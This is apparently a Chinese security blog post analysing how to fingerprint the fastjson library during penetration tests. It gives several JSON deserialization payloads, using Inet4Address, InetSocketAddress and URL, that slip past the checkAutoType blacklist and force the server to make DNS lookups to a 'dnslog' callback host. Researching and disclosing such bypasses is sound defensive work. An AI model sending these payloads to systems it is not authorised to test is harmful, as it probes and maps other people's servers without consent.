0x01 背景
在渗透测试中遇到json数据一般都会测试下有没有反序列化。然而json库有fastjson,jackson,gson等等。怎么判断后端不是fastjson呢?这就需要构造特定的payload了。
昨天翻看fastjson源码时发现了一些可以构造dns解析且没在黑名单当中的类,于是顺手给官方提了下Issue。有趣的是后续的师傅们讨论还挺热闹的,我也在这次讨论中学习了很多。这篇文章算是对那些方法的汇总和原理分析。
0x02 方法一:利用java.net.Inet[4|6]Address
很早之前有一个方法是使用java.net.InetAddress类,现在这个类已经列入黑名单。然而在翻阅fastjson最新版源码(v1.2.67)时,发现两个类没有在黑名单中,于是可以构造了如下payload,即可使fastjson进行DNS解析。下面以java.net.Inet4Address为例分析构造原理。
`{"@type":"java.net.Inet4Address","val":"dnslog"}``{"@type":"java.net.Inet6Address","val":"dnslog"}`
我们知道在fastjson在反序列化之前都会调用checkAutoType方法对类进行检查。通过调试发现,由于java.net.Inet4Address不在黑名单中,所以就算开启AutoType也是能过1处的检查。
fastjson的ParserConfig类自己维护了一个IdentityHashMap,在这个HashMap中的类会被认为是安全的。在2处可以在IdentityHashMap中可以获取到java.net.Inet4Address,所以clazz不为null,导致在3处就返回了。跳过了后续的未开启AutoType的黑名单检查。所以可以发现无论AutoType是否开启,都可以过checkAutoType的检查
fastjason对于Inet4Address类会使用MiscCodec这个ObjectDeserializer来反序列化。跟进发现解析器会取出val字段的值赋值给strVal变量,由于我们的类是Inet4Address,所以代码会执行到1处,进行域名解析。
0x03 方法二:利用java.net.InetSocketAddress
java.net.InetSocketAddress类也在IdentityHashMap中,和上面一样无视checkAutoType检查。
通过它要走到InetAddress.getByName()流程相比方法一是要绕一些路的。刚开始一直没构造出来,后来在和实验室的@背影师傅交流时,才知道可以顺着解析器规则构造(它要啥就给它啥),最终payload如下,当然它是畸形的json。
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
那这个是怎样构造出来的呢?这就需要简单了解下fastjson的词法分析器了,这里就不展开了。这里尤为关键的是解析器token值对应的含义,可以在com.alibaba.fastjson.parser.JSONToken类中看到它们。
构造这个payload需要分两步,第一步我们需要让代码执行到1处,这一路解析器要接收的字符在代码已经标好。按照顺序写就是{"@type":"java.net.InetSocketAddress"{"address":
parser.parseObject(InetAddress.class)最终依然会,调用MiscCodec#deserialze()方法来序列化,这里就来到我们构造payload的第二步。第二步的目标是要让解析器走到InetAddress.getByName(strVal)。解析器要接受的字符在代码里标好了,按照顺序写就是,"val":"http://dnslog"}。
两段合起来就得到了最终的payload。
0x04 方法三:利用java.net.URL
java.net.URL类也在IdentityHashMap中,和上面一样无视checkAutoType检查。
{{"@type":"java.net.URL","val":"http://dnslog"}:"x"}
来源于@retanoj和@threedr3am两位师傅的启发,其原理和ysoserial中的URLDNS这个gadget原理一样。
简单来说就是向HashMap压入一个键值对时,HashMap需要获取key对象的hashcode。当key对象是一个URL对象时,在获取它的hashcode期间会调用getHostAddress方法获取host,这个过程域名会被解析。
fastjson解析上述payload时,先反序列化出URL(http://dnslog)对象,然后将{URL(http://dnslog):"x"}解析为一个HashMap,域名被解析。
@retanojIssue中还构造了好几个畸形的payload,虽然原理都是一样的,但还是挺有意思的,感受到了师傅对fastjson词法分析器透彻的理解。
`{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}``Set[{"@type":"java.net.URL","val":"http://dnslog"}]``Set[{"@type":"java.net.URL","val":"http://dnslog"}``{{"@type":"java.net.URL","val":"http://dnslog"}:0`
0x05 留一个问题
最后留个问题吧,我们都知道一般影响fastjson的gadget也会影响jackson。那么我们上面构造的payload,使用相同的原理能在jackson实现么?如果能,又该怎么构造呢?欢迎在blog留言区分享你的思考。
0x06 参考文献